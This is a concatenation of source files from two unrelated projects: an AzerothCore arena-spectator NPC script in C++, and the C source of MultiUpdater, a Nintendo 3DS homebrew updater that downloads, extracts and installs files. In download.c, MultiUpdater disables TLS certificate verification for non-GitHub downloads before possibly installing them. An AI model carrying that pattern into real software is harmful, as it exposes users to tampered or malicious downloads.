NPC_SPECTATOR_ACTION_5V5_GAMES); player->ADD_GOSSIP_ITEM_EXTENDED(GOSSIP_ICON_CHAT, "Mirar a un jugador especifico.", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_SPECIFIC, "", 0, true); player->SEND_GOSSIP_MENU(DEFAULT_GOSSIP_MESSAGE, creature->GetGUID()); return true; } bool OnGossipSelect(Player* player, Creature* creature, uint32 /*sender*/, uint32 action) { player->PlayerTalkClass->ClearMenus(); player->CLOSE_GOSSIP_MENU(); if (action == NPC_SPECTATOR_ACTION_MAIN_MENU) { OnGossipHello(player, creature); return true; } if (action >= NPC_SPECTATOR_ACTION_2V2_GAMES && action < NPC_SPECTATOR_ACTION_3V3_GAMES) { player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "Actualizar", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_2V2_GAMES); ShowPage(player, action - NPC_SPECTATOR_ACTION_2V2_GAMES, false); player->SEND_GOSSIP_MENU(DEFAULT_GOSSIP_MESSAGE, creature->GetGUID()); } else if (action >= NPC_SPECTATOR_ACTION_3V3_GAMES && action < NPC_SPECTATOR_ACTION_SELECTED_PLAYER) { player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "Actualizar", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_3V3_GAMES); ShowPage(player, action - NPC_SPECTATOR_ACTION_3V3_GAMES, true); player->SEND_GOSSIP_MENU(DEFAULT_GOSSIP_MESSAGE, creature->GetGUID()); } else if (action >= NPC_SPECTATOR_ACTION_5V5_GAMES && action < NPC_SPECTATOR_ACTION_SELECTED_PLAYER) { player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "Actualizar", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_5V5_GAMES); ShowPage(player, action - NPC_SPECTATOR_ACTION_5V5_GAMES, true); player->SEND_GOSSIP_MENU(DEFAULT_GOSSIP_MESSAGE, creature->GetGUID()); } else { uint64 guid = action - NPC_SPECTATOR_ACTION_SELECTED_PLAYER; if (Player* target = ObjectAccessor::FindPlayer(guid)) { ChatHandler handler(player->GetSession()); char const* pTarget = target->GetName().c_str(); ArenaSpectator::HandleSpectatorSpectateCommand(&handler, pTarget); } } return true; } std::string GetClassNameById(Player* player) { std::string sClass = ""; switch (player->getClass()) { case CLASS_WARRIOR: if (player->HasTalent(SPELL_WARRIOR_ARMS, player->GetActiveSpec())) sClass = "A"; else if (player->HasTalent(SPELL_WARRIOR_FURY, player->GetActiveSpec())) sClass = "F"; else if (player->HasTalent(SPELL_WARRIOR_PROTECTION, player->GetActiveSpec())) sClass = "P"; sClass += "Warrior "; break; case CLASS_PALADIN: if (player->HasTalent(SPELL_PALADIN_HOLY, player->GetActiveSpec())) sClass = "H"; else if (player->HasTalent(SPELL_PALADIN_PROTECTION, player->GetActiveSpec())) sClass = "P"; else if (player->HasTalent(SPELL_PALADIN_RETRIBUTION, player->GetActiveSpec())) sClass = "R"; sClass += "Paladin "; break; case CLASS_HUNTER: if (player->HasTalent(SPELL_HUNTER_BEAST_MASTERY, player->GetActiveSpec())) sClass = "B"; else if (player->HasTalent(SPELL_HUNTER_MARKSMANSHIP, player->GetActiveSpec())) sClass = "M"; else if (player->HasTalent(SPELL_HUNTER_SURVIVAL, player->GetActiveSpec())) sClass = "S"; sClass += "Hunter "; break; case CLASS_ROGUE: if (player->HasTalent(SPELL_ROGUE_ASSASSINATION, player->GetActiveSpec())) sClass = "A"; else if (player->HasTalent(SPELL_ROGUE_COMBAT, player->GetActiveSpec())) sClass = "C"; else if (player->HasTalent(SPELL_ROGUE_SUBTLETY, player->GetActiveSpec())) sClass = "S"; sClass += "Rogue "; break; case CLASS_PRIEST: if (player->HasTalent(SPELL_PRIEST_DISCIPLINE, player->GetActiveSpec())) sClass = "D"; else if (player->HasTalent(SPELL_PRIEST_HOLY, player->GetActiveSpec())) sClass = "H"; else if (player->HasTalent(SPELL_PRIEST_SHADOW, player->GetActiveSpec())) sClass = "S"; sClass += "Priest "; break; case CLASS_DEATH_KNIGHT: if (player->HasTalent(SPELL_DK_BLOOD, player->GetActiveSpec())) sClass = "B"; else if (player->HasTalent(SPELL_DK_FROST, player->GetActiveSpec())) sClass = "F"; else if (player->HasTalent(SPELL_DK_UNHOLY, player->GetActiveSpec())) sClass = "U"; sClass += "DK "; break; case CLASS_SHAMAN: if (player->HasTalent(SPELL_SHAMAN_ELEMENTAL, player->GetActiveSpec())) sClass = "EL"; else if (player->HasTalent(SPELL_SHAMAN_ENHACEMENT, player->GetActiveSpec())) sClass = "EN"; else if (player->HasTalent(SPELL_SHAMAN_RESTORATION, player->GetActiveSpec())) sClass = "R"; sClass += "Shaman "; break; case CLASS_MAGE: if (player->HasTalent(SPELL_MAGE_ARCANE, player->GetActiveSpec())) sClass = "A"; else if (player->HasTalent(SPELL_MAGE_FIRE, player->GetActiveSpec())) sClass = "Fi"; else if (player->HasTalent(SPELL_MAGE_FROST, player->GetActiveSpec())) sClass = "Fr"; sClass += "Mage "; break; case CLASS_WARLOCK: if (player->HasTalent(SPELL_WARLOCK_AFFLICTION, player->GetActiveSpec())) sClass = "A"; else if (player->HasTalent(SPELL_WARLOCK_DEMONOLOGY, player->GetActiveSpec())) sClass = "Dem"; else if (player->HasTalent(SPELL_WARLOCK_DESTRUCTION, player->GetActiveSpec())) sClass = "Des"; sClass += "Warlock "; break; case CLASS_DRUID: if (player->HasTalent(SPELL_DRUID_BALANCE, player->GetActiveSpec())) sClass = "B"; else if (player->HasTalent(SPELL_DRUID_FERAL_COMBAT, player->GetActiveSpec())) sClass = "F"; else if (player->HasTalent(SPELL_DRUID_RESTORATION, player->GetActiveSpec())) sClass = "R"; sClass += "Druid "; break; default: sClass = "<Unknown>"; break; } return sClass; } std::string GetGamesStringData(Battleground* team, uint16 mmr, uint16 mmrTwo) { std::string teamsMember[BG_TEAMS_COUNT]; uint32 firstTeamId = 0; for (Battleground::BattlegroundPlayerMap::const_iterator itr = team->GetPlayers().begin(); itr != team->GetPlayers().end(); ++itr) { if (Player* player = ObjectAccessor::FindPlayer(itr->first)) { if (player->IsSpectator()) continue; if (player->IsGameMaster()) continue; uint32 teamId = itr->second->GetArenaTeamId(arenaTypeSlots[team->GetArenaType()]); if (!firstTeamId) firstTeamId = teamId; teamsMember[firstTeamId == teamId] += GetClassNameById(player); } } std::string data = teamsMember[0] + "("; std::stringstream ss; ss << mmr; std::stringstream sstwo; sstwo << mmrTwo; data += ss.str(); data += ") vs "; data += teamsMember[1] + "(" + sstwo.str(); data += ")"; return data; } uint64 GetFirstPlayerGuid(Battleground* team) { for (Battleground::BattlegroundPlayerMap::const_iterator itr = team->GetPlayers().begin(); itr != team->GetPlayers().end(); ++itr) if (Player* player = ObjectAccessor::FindPlayer(itr->first)) return itr->first; return 0; } void GetTeamsMMRs(Battleground* arena, Player* target, uint16 &mmrOne, uint16 &mmrTwo) { uint8 arenaSlot = arenaTypeSlots[arena->GetArenaType()]; uint32 firstTeamId = target->GetArenaTeamId(arenaSlot); // Get first team MMR using target player if (ArenaTeam *targetArenaMmr = sArenaTeamMgr->GetArenaTeamById(firstTeamId)) mmrOne = targetArenaMmr->GetMember(target->GetGUID())->MatchMakerRating; // Find second team MMR Battleground::BattlegroundPlayerMap::const_iterator citr = arena->GetPlayers().begin(); for (; citr != arena->GetPlayers().end(); ++citr) { if (Player* plrs = sObjectAccessor->FindPlayer(citr->first)) { if (plrs->GetArenaTeamId(arenaSlot) != firstTeamId) { if (ArenaTeam *arenaMmr = sArenaTeamMgr->GetArenaTeamById(plrs->GetArenaTeamId(arenaSlot))) mmrTwo = arenaMmr->GetMember(plrs->GetGUID())->MatchMakerRating; break; } } } } void ShowPage(Player* player, uint16 page, bool IsTop) { uint16 TypeTwo = 0; uint16 TypeThree = 0; uint16 TypeFive = 0; uint16 mmr = 0; uint16 mmrTwo = 0; bool haveNextPage[3]; haveNextPage[2] = false; haveNextPage[1] = false; haveNextPage[0] = false; for (uint8 i = 0; i <= MAX_BATTLEGROUND_TYPE_ID; ++i) { if (!sBattlegroundMgr->IsArenaType(BattlegroundTypeId(i))) continue; BattlegroundContainer arenas = sBattlegroundMgr->GetAllBattlegroundsWithTypeId(BattlegroundTypeId(i)); if (arenas.empty()) continue; for (BattlegroundContainer::const_iterator itr = arenas.begin(); itr != arenas.end(); ++itr) { Battleground* arena = itr->second; Player* target = ObjectAccessor::FindPlayer(GetFirstPlayerGuid(arena)); if (!target) continue; if (target->GetTypeId() == TYPEID_PLAYER && target->HasAura(SPELL_ARENA_PREPARATION)) continue; if (!arena->GetPlayersSize() || !arena->isRated()) continue; // Fill both MMR ratings GetTeamsMMRs(arena, target, mmr, mmrTwo); if (IsTop && arena->GetArenaType() == ARENA_TYPE_3v3) { TypeThree++; if (TypeThree > (page + 1) * GAMES_ON_PAGE) { haveNextPage[1] = true; break; } if (TypeThree >= page * GAMES_ON_PAGE) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_BATTLE, GetGamesStringData(arena, mmr, mmrTwo), GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_SELECTED_PLAYER + GetFirstPlayerGuid(arena)); } else if (!IsTop && arena->GetArenaType() == ARENA_TYPE_2v2) { TypeTwo++; if (TypeTwo > (page + 1) * GAMES_ON_PAGE) { haveNextPage[0] = true; break; } if (TypeTwo >= page * GAMES_ON_PAGE) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_BATTLE, GetGamesStringData(arena, mmr, mmrTwo), GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_SELECTED_PLAYER + GetFirstPlayerGuid(arena)); } else if (IsTop && arena->GetArenaType() == ARENA_TYPE_5v5) { TypeFive++; if (TypeFive > (page + 1) * GAMES_ON_PAGE) { haveNextPage[2] = true; break; } if (TypeFive >= page * GAMES_ON_PAGE) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_BATTLE, GetGamesStringData(arena, mmr, mmrTwo), GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_SELECTED_PLAYER + GetFirstPlayerGuid(arena)); } } } if (page > 0) { if (haveNextPage[0] == true) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "<<", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_2V2_GAMES + page - 1); if (haveNextPage[1] == true) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "<<", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_3V3_GAMES + page - 1); if (haveNextPage[2] == true) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "<<", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_5V5_GAMES + page - 1); } else player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, "Volver al menu", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_MAIN_MENU); if (haveNextPage[0] == true) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, ">>", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_2V2_GAMES + page + 1); if (haveNextPage[1] == true) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, ">>", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_3V3_GAMES + page + 1); if (haveNextPage[2] == true) player->ADD_GOSSIP_ITEM(GOSSIP_ICON_DOT, ">>", GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_5V5_GAMES + page + 1); } bool OnGossipSelectCode(Player* player, Creature* creature, uint32 sender, uint32 action, const char* code) { if (!player) return true; player->PlayerTalkClass->ClearMenus(); player->CLOSE_GOSSIP_MENU(); if (sender == GOSSIP_SENDER_MAIN) { switch (action) { case NPC_SPECTATOR_ACTION_SPECIFIC: // choosing a player if (Player* target = sObjectAccessor->FindPlayerByName(code)) { ChatHandler handler(player->GetSession()); char const* pTarget = target->GetName().c_str(); ArenaSpectator::HandleSpectatorSpectateCommand(&handler, pTarget); } else ChatHandler(player->GetSession()).SendSysMessage("El jugador no existe."); return true; } } return false; } }; void AddNpcSpectatorScripts() { new npc_arena_spectator(); } <file_sep>AC_ADD_SCRIPT("${CMAKE_CURRENT_LIST_DIR}/src/NpcSpectator.cpp") AC_ADD_SCRIPT_LOADER("npc_spectator" "${CMAKE_CURRENT_LIST_DIR}/src/loader.h") AC_ADD_CONFIG_FILE("${CMAKE_CURRENT_LIST_DIR}/conf/npc_spectator.conf.dist")<file_sep># NOT MISSING ADD LINE 139 CODE IN FILE BattleGroundMgr.h BattlegroundContainer GetAllBattlegroundsWithTypeId(BattlegroundTypeId bgTypeId) { BattlegroundContainer filteredBgs; for (BattlegroundContainer::iterator itr = m_Battlegrounds.begin(); itr != m_Battlegrounds.end(); ++itr) { Battleground* bg = itr->second; if (bg->GetBgTypeID() == bgTypeId) { filteredBgs[bg->GetInstanceID()] = bg; } } return filteredBgs; } <file_sep>void AddnpcSpectatorScripts();
1e44902f8f584d42215995ca144c31e0679f8aec
[ "Markdown", "C", "CMake", "C++" ]
4
C++
IceNet/module_npc_spectator
c901affe4681d2ae489dac251260b037b2bb9347
9eb22e3da4a80af8e2716b373867edcf8aac9a3c
refs/heads/master
<repo_name>Epicpkmn11/MultiUpdater<file_sep>/source/config.c #include <jansson.h> #include "config.h" #define ENTRIES_STRING "entries" #define NAME_STRING "name" #define URL_STRING "url" #define PATH_STRING "path" #define IN_ARCHIVE_STRING "inarchive" #define IN_RELEASE_STRING "inrelease" void parse_entries(json_t * entries_elem, config_t * todo_config) { if (json_is_array(entries_elem)) { size_t entries_number = json_array_size(entries_elem); const char *key; json_t *value; todo_config->entries_number = entries_number; for (u16 i = 0; i < entries_number; i++) { if (json_is_object(json_array_get(entries_elem, i))) { json_object_foreach(json_array_get(entries_elem, i), key, value) { if(json_is_string(value)) { if(!strcmp(key, NAME_STRING)) { todo_config->entries[i].name = strdup(json_string_value(value)); } else if(!strcmp(key, URL_STRING)) { todo_config->entries[i].url = strdup(json_string_value(value)); } else if(!strcmp(key, PATH_STRING)) { todo_config->entries[i].path = strdup(json_string_value(value)); } else if(!strcmp(key, IN_ARCHIVE_STRING)) { todo_config->entries[i].in_archive = strdup(json_string_value(value)); } else if(!strcmp(key, IN_RELEASE_STRING)) { todo_config->entries[i].in_release = strdup(json_string_value(value)); } } } } else { todo_config->errorState = ERROR_JSON; } } } else { todo_config->errorState = ERROR_JSON; } } json_t * load_json(const char * text) { json_t *root; json_error_t error; root = json_loads(text, 0, &error); if (root) { return root; } else { return (json_t *)0; } } void get_config(const char * filepath, config_t * parsed_config) { parsed_config->entries_number = 1; parsed_config->errorState = 0; FILE * fptr = fopen(filepath, "r"); if (fptr == NULL) { parsed_config->errorState = ERROR_FILE; return; } fseek(fptr, 0, SEEK_END); u32 size = ftell(fptr); char * config_contents = malloc(size + 1); rewind(fptr); fread(config_contents, size, 1, fptr); fclose(fptr); json_t *root = load_json(config_contents); if (root == 0) { parsed_config->errorState = ERROR_JSON; } const char *key; json_t *value; if (json_is_object(root)) { json_object_foreach(root, key, value) { if (!strcmp(key, ENTRIES_STRING)) { parse_entries(value, parsed_config); } } } else { parsed_config->errorState = ERROR_JSON; } free(config_contents); json_decref(root); } void clean_config(config_t * parsed_config) { for (int i = 0; i < parsed_config->entries_number; i++) { free((char*)(parsed_config->entries[i].name)); free((char*)(parsed_config->entries[i].url)); free((char*)(parsed_config->entries[i].path)); free((char*)(parsed_config->entries[i].in_archive)); free((char*)(parsed_config->entries[i].in_release)); } } <file_sep>/source/params.h #pragma once #include "basic.h" #include "config.h" bool handleParams(entry_t * received_entry); <file_sep>/source/download.h #pragma once #include "basic.h" #define DL_ERROR_STATUSCODE -1 #define DL_ERROR_WRITEFILE -2 #define DL_ERROR_ALLOC -3 #define DL_ERROR_CONFIG -4 #define DL_ERROR_GIT -5 Result setupContext(httpcContext * context, const char * url, u32 * size, bool gitapi); Result downloadToFile(const char * url, const char * filepath, bool gitapi); Result downloadFromRelease(const char * url, const char * element, const char * filepath); <file_sep>/source/download.c #include "download.h" #include "gitapi.h" #include "file.h" #include "certs/cybertrust.h" #include "certs/digicert.h" Result setupContext(httpcContext * context, const char * url, u32 * size, bool gitapi) { Result ret = 0; u32 statuscode = 0; ret = httpcOpenContext(context, HTTPC_METHOD_GET, url, 1); if (ret != 0) { printf_log("Error in:\nhttpcOpenContext\n"); httpcCloseContext(context); return ret; } ret = httpcAddRequestHeaderField(context, "User-Agent", "MultiUpdater"); if (ret != 0) { printf_log("Error in:\nhttpcAddRequestHeaderField\n"); httpcCloseContext(context); return ret; } if (gitapi) { ret = httpcAddTrustedRootCA(context, cybertrust_cer, cybertrust_cer_len); if (ret != 0) { printf_log("Error in:\nhttpcAddRequestHeaderField\n"); httpcCloseContext(context); return ret; } ret = httpcAddTrustedRootCA(context, digicert_cer, digicert_cer_len); if (ret != 0) { printf_log("Error in:\nhttpcAddRequestHeaderField\n"); httpcCloseContext(context); return ret; } } else { ret = httpcSetSSLOpt(context, SSLCOPT_DisableVerify); if (ret != 0) { printf_log("Error in:\nhttpcSetSSLOpt\n"); httpcCloseContext(context); return ret; } } ret = httpcAddRequestHeaderField(context, "Connection", "Keep-Alive"); if (ret != 0) { printf_log("Error in:\nhttpcAddRequestHeaderField\n"); httpcCloseContext(context); return ret; } ret = httpcBeginRequest(context); if (ret != 0) { printf_log("Error in:\nhttpcBeginRequest\n"); httpcCloseContext(context); return ret; } ret = httpcGetResponseStatusCode(context, &statuscode); if (ret != 0) { printf_log("Error in:\nhttpcGetResponseStatusCode\n"); httpcCloseContext(context); return ret; } if ((statuscode >= 301 && statuscode <= 303) || (statuscode >= 307 && statuscode <= 308)) { char * newurl = malloc(0x1000); // One 4K page for new URL if (newurl == NULL) { httpcCloseContext(context); return DL_ERROR_ALLOC; } ret = httpcGetResponseHeader(context, "Location", newurl, 0x1000); if (ret != 0) { printf_log("Error in:\nhttpcGetResponseHeader\n"); httpcCloseContext(context); free(newurl); return ret; } httpcCloseContext(context); // Close this context before we try the next if (newurl[0] == '/') { //if the url starts with a slash, it's local int slashpos = 0; char * domainname = strdup(url); if (strncmp("http", domainname, 4) == 0) slashpos = 8; //if the url in the entry starts with http:// or https:// we need to skip that slashpos = strchr(domainname+slashpos, '/')-domainname; domainname[slashpos] = '\0'; // replace the slash with a nullbyte to cut the url char * copyurl = strdup(newurl); sprintf(newurl, "%s%s", domainname, copyurl); free(copyurl); free(domainname); } if (gitapi) printf_log("Redirecting...\n"); else printf_log("Redirecting to url:\n%s\n", newurl); ret = setupContext(context, newurl, size, gitapi); free(newurl); return ret; } if (statuscode != 200) { printf_log("Error: HTTP status code is not 200 OK.\nStatus code: %lu\n", statuscode); httpcCloseContext(context); return DL_ERROR_STATUSCODE; } ret = httpcGetDownloadSizeState(context, NULL, size); if (ret != 0) { printf_log("Error in:\nhttpcGetDownloadSizeState\n"); httpcCloseContext(context); return ret; } return 0; } Result downloadToFile(const char * url, const char * filepath, bool gitapi) { if (url == NULL) { printf_log("Download cannot start, the URL in config.json is blank.\n"); return DL_ERROR_CONFIG; } if (filepath == NULL) { printf_log("Download cannot start, file path in config.json is blank.\n"); return DL_ERROR_CONFIG; } printf_log("Downloading file from:\n%s\nto:\n%s\n", url, filepath); httpcContext context; Result ret = 0; u32 contentsize = 0, readsize = 0; ret = setupContext(&context, url, &contentsize, gitapi); if (ret != 0) return ret; printf_log("Downloading %lu bytes...\n", contentsize); Handle filehandle; u64 offset = 0; u32 bytesWritten = 0; ret = openFile(filepath, &filehandle, true); if (ret != 0) { printf_log("Error: couldn't open file to write.\n"); httpcCloseContext(&context); return DL_ERROR_WRITEFILE; } u8 * buf = malloc(0x1000); if (buf == NULL) { httpcCloseContext(&context); return DL_ERROR_ALLOC; } u64 startTime = osGetTime(); do { ret = httpcDownloadData(&context, buf, 0x1000, &readsize); writeFile(filehandle, &bytesWritten, offset, buf, readsize); offset += readsize; } while (ret == (Result)HTTPC_RESULTCODE_DOWNLOADPENDING); printf_log("Download took %llu milliseconds.\n", osGetTime()-startTime); free(buf); closeFile(filehandle); httpcCloseContext(&context); if (ret != 0) { printf_log("Error in:\nhttpcDownloadData\n"); return ret; } return 0; } Result downloadFromRelease(const char * url, const char * element, const char * filepath) { if (url == NULL) { printf_log("Download cannot start, the URL in config.json is blank.\n"); return DL_ERROR_CONFIG; } if (element == NULL) { printf_log("Download cannot start, inrelease in config.json is blank.\n"); return DL_ERROR_CONFIG; } if (filepath == NULL) { printf_log("Download cannot start, file path in config.json is blank.\n"); return DL_ERROR_CONFIG; } char * copyurl = strdup(url); char * repo_name = copyurl; char * repo_owner = copyurl; unsigned int startpos = 0; if (strncmp("http", copyurl, 4) == 0) startpos = 8; //if the url in the entry starts with http:// or https:// we need to skip that for (unsigned int i = startpos; copyurl[i]; i++) { if (copyurl[i] == '/') { copyurl[i] = '\0'; if (repo_owner == copyurl) repo_owner += i+1; else if (repo_name == copyurl) repo_name += i+1; else break; } } char * apiurl = NULL; asprintf(&apiurl, "https://api.github.com/repos/%s/%s/releases/latest", repo_owner, repo_name); printf_log("Downloading latest release from repo:\n%s\nby:\n%s\n", repo_name, repo_owner); printf_log("Crafted api url:\n%s\n", apiurl); free(copyurl); httpcContext context; Result ret = 0; u32 contentsize = 0, readsize = 0; ret = setupContext(&context, apiurl, &contentsize, true); free(apiurl); if (ret != 0) return ret; char * buf = malloc(contentsize+1); if (buf == NULL) { httpcCloseContext(&context); return DL_ERROR_ALLOC; } buf[contentsize] = 0; //nullbyte to end it as a proper C style string do { ret = httpcDownloadData(&context, (u8 *)buf, contentsize, &readsize); } while (ret == (Result)HTTPC_RESULTCODE_DOWNLOADPENDING); httpcCloseContext(&context); if (ret != 0) { printf_log("Error in:\nhttpcDownloadData\n"); free(buf); return ret; } char * asseturl = NULL; printf_log("\x1b[40;34mSearching for asset %s in api response...\x1b[0m\n", element); getAssetUrl((const char *)buf, element, &asseturl); free(buf); if (asseturl == NULL) ret = DL_ERROR_GIT; else { ret = downloadToFile(asseturl, filepath, true); free(asseturl); } return ret; } <file_sep>/source/gitapi.c #include "gitapi.h" #include "stringutils.h" char * findTagValue(const char * apiresponse, const char * tagname) { char * endstring = "\""; char *tagstart, *tagend, *retstr = NULL; if ((tagstart = strstr(apiresponse, tagname)) != NULL) { if ((tagend = strstr(tagstart+strlen(tagname), endstring)) != NULL) { tagstart += strlen(tagname); int len = tagend-tagstart; char * tempstr = calloc(len+1, sizeof(char)); strncpy(tempstr, tagstart, len); retstr = strdup(tempstr); free(tempstr); } } return retstr; } void getAssetUrl(const char * apiresponse, const char * element, char ** asseturl) { char * assets_tagname = "\"assets\":"; char * name_tagname = "\"name\":\""; char * url_tagname = "\"browser_download_url\":\""; int offset = strstr(apiresponse, assets_tagname)-apiresponse; char * foundpos = NULL; while ((foundpos = strstr(apiresponse+offset, name_tagname)) != NULL) { offset = (int)(foundpos+strlen(name_tagname)-apiresponse); char * name = findTagValue(foundpos, name_tagname); if (!matchPattern(element, name)) { printf_log("Found asset with name matching %s\n", element); printf_log("Finding asset url...\n"); *asseturl = findTagValue(foundpos, url_tagname); free(name); return; } free(name); } printf_log("No asset with name matching %s found.\n", element); }<file_sep>/selfupdater/selfupdater.h /* Those 2 files (selfupdater.c and selfupdater.h) are in the public domain. You can use them in whatever your project is, without caring about the license */ #pragma once void update(const char * name, const char * url, const char * path, const char * in_archive, const char * in_release); <file_sep>/source/main.c #include "download.h" #include "draw.h" #include "file.h" #include "cia.h" #include "stringutils.h" #include "params.h" u8 update(entry_t entry) { Result ret = 0; printf_log("\x1b[40;34mBeginning update...\x1b[0m\n"); char dl_path[256] = {0}; //if the file to download isnt an archive, direcly download where wanted if (entry.in_archive == NULL) strcpy(dl_path, entry.path); //otherwise, download to an archive in the working dir, then extract where wanted else { sprintf(dl_path, "%s%s.archive", WORKING_DIR, entry.name); cleanPath(dl_path); } //if the entry doesnt want anything from a release, expect it to be a normal file if (entry.in_release == NULL) ret = downloadToFile(entry.url, dl_path, false); else ret = downloadFromRelease(entry.url, entry.in_release, dl_path); if (ret != 0) { printf_log("\x1b[40;31mDownload failed!"); goto failure; } else printf_log("\x1b[40;32mDownload successful!"); if (entry.in_archive != NULL) { printf_log("\n\x1b[40;34mExtracting file from the archive...\x1b[0m\n"); ret = extractFileFromArchive(dl_path, entry.in_archive, entry.path); if (ret != 0) { printf_log("\x1b[40;31mExtraction failed!"); goto failure; } else printf_log("\x1b[40;32mExtraction successful!"); } //if the extracted/downloaded file ends with ".cia", try to install it if (strncmp(entry.path+strlen(entry.path)-4, ".cia", 4) == 0) { printf_log("\n\x1b[40;34mInstalling CIA...\x1b[0m\n"); ret = installCia(entry.path); if (ret != 0) { printf_log("\x1b[40;31mInstall failed!"); goto failure; } else printf_log("\x1b[40;32mInstall successful!"); } printf_log("\n\x1b[40;32mUpdate complete!"); return UPDATE_DONE; failure: printf_log("\nError: 0x%08x", (unsigned int)ret); return UPDATE_ERROR; } int main() { gfxInitDefault(); httpcInit(0); amInit(); fsInit(); AM_InitializeExternalTitleDatabase(false); PrintConsole topScreen, bottomScreen; consoleInit(GFX_TOP, &topScreen); consoleInit(GFX_BOTTOM, &bottomScreen); asprintf(&log_file_path, "%s%s", WORKING_DIR, LOGFILE_NAME); Handle fileHandle; openFile(log_file_path, &fileHandle, true); closeFile(fileHandle); consoleSelect(&topScreen); printf_log("\x1b[2;2HMultiUpdater %s by LiquidFenrir", VERSION_STRING); printf("\x1b[27;2HPress SELECT to show instructions."); printf("\x1b[28;2HPress START to exit.\x1b[0;0H"); config_t parsed_config; if (handleParams(&parsed_config.entries[0])) { consoleSelect(&bottomScreen); printf_log("\x1b[40;33mUpdating requested application:\n%s\n\x1b[0m", parsed_config.entries[0].name); update(parsed_config.entries[0]); printf_log("\n\x1b[40;33mClosing in 10 seconds.\nTake note of error codes if needed...\n\x1b[0m"); gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); svcSleepThread(10e9); parsed_config.entries_number = 1; goto exit; } char * filepath = NULL; asprintf(&filepath, "%sconfig.json", WORKING_DIR); get_config(filepath, &parsed_config); if (parsed_config.errorState == 0) { int selected_entry = 0; u8 state[256] = {0}; while (aptMainLoop()) { consoleSelect(&topScreen); drawMenu(&parsed_config, state, selected_entry); consoleSelect(&bottomScreen); hidScanInput(); if (hidKeysDown() & KEY_START) { exit: //strings copied with strdup need to be freed clean_config(&parsed_config); break; } else if (hidKeysDown() & KEY_SELECT) { drawInstructions(); } else if (hidKeysDown() & KEY_DOWN) { selected_entry++; if (selected_entry >= parsed_config.entries_number) selected_entry = parsed_config.entries_number-1; } else if (hidKeysDown() & KEY_UP) { selected_entry--; if (selected_entry < 0) selected_entry = 0; } else if (hidKeysDown() & KEY_RIGHT) { //go to bottom of the menu selected_entry = parsed_config.entries_number-1; } else if (hidKeysDown() & KEY_LEFT) { //go to top of the menu selected_entry = 0; } else if (hidKeysDown() & KEY_L) { //mark all entries for (u8 i = 0; i < parsed_config.entries_number; i++) { state[i] |= STATE_MARKED; } } else if (hidKeysDown() & KEY_R) { //unmark all entries for (u8 i = 0; i < parsed_config.entries_number; i++) { state[i] &= ~STATE_MARKED; } } else if (hidKeysDown() & KEY_Y) { //mark/unmark selected entry state[selected_entry] ^= STATE_MARKED; } else if (hidKeysDown() & KEY_A) { //update all marked entries and currently selected entry (even if it's not marked) int selected_entry_bak = selected_entry; for (int i = 0; i < parsed_config.entries_number; i++) { if (i == selected_entry || state[i] & STATE_MARKED) { consoleSelect(&topScreen); drawMenu(&parsed_config, state, i); consoleSelect(&bottomScreen); u8 ret = update(parsed_config.entries[i]); printf_log("\x1b[0m\n"); state[i] |= ret; state[i] &= ~STATE_MARKED; gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); } } selected_entry = selected_entry_bak; } else if (hidKeysDown() & KEY_B) { //backup all marked entries and currently selected entry (even if it's not marked) int selected_entry_bak = selected_entry; for (int i = 0; i < parsed_config.entries_number; i++) { if (i == selected_entry || state[i] & STATE_MARKED) { consoleSelect(&topScreen); drawMenu(&parsed_config, state, i); consoleSelect(&bottomScreen); char * backuppath = NULL; asprintf(&backuppath, "%s%s.bak", WORKING_DIR, parsed_config.entries[i].name); cleanPath(backuppath); printf_log("\x1b[40;32mBacking up %s...\x1b[0m\n", parsed_config.entries[i].name); Result ret = copyFile(parsed_config.entries[i].path, backuppath); if (ret != 0) { printf_log("\x1b[40;31mBackup failed..."); } else { printf_log("\x1b[40;32mBackup complete!"); } printf_log("\x1b[0m\n"); free(backuppath); gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); } } selected_entry = selected_entry_bak; } else if (hidKeysDown() & KEY_X) { //restore the backups of all marked entries and currently selected entry (even if it's not marked) int selected_entry_bak = selected_entry; for (int i = 0; i < parsed_config.entries_number; i++) { if (i == selected_entry || state[i] & STATE_MARKED) { consoleSelect(&topScreen); drawMenu(&parsed_config, state, i); consoleSelect(&bottomScreen); char * backuppath = NULL; asprintf(&backuppath, "%s%s.bak", WORKING_DIR, parsed_config.entries[i].name); cleanPath(backuppath); printf_log("\x1b[40;Restoring %s...\x1b[0m\n", parsed_config.entries[i].name); Result ret = copyFile(backuppath, parsed_config.entries[i].path); if (ret != 0) { printf_log("\x1b[40;31mRestore failed..."); } else { printf_log("\x1b[40;32mRestore complete!"); remove(backuppath); } printf_log("\x1b[0m\n"); free(backuppath); gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); } } selected_entry = selected_entry_bak; } gfxFlushBuffers(); gfxSwapBuffers(); gspWaitForVBlank(); } } else if (parsed_config.errorState == ERROR_FILE) { 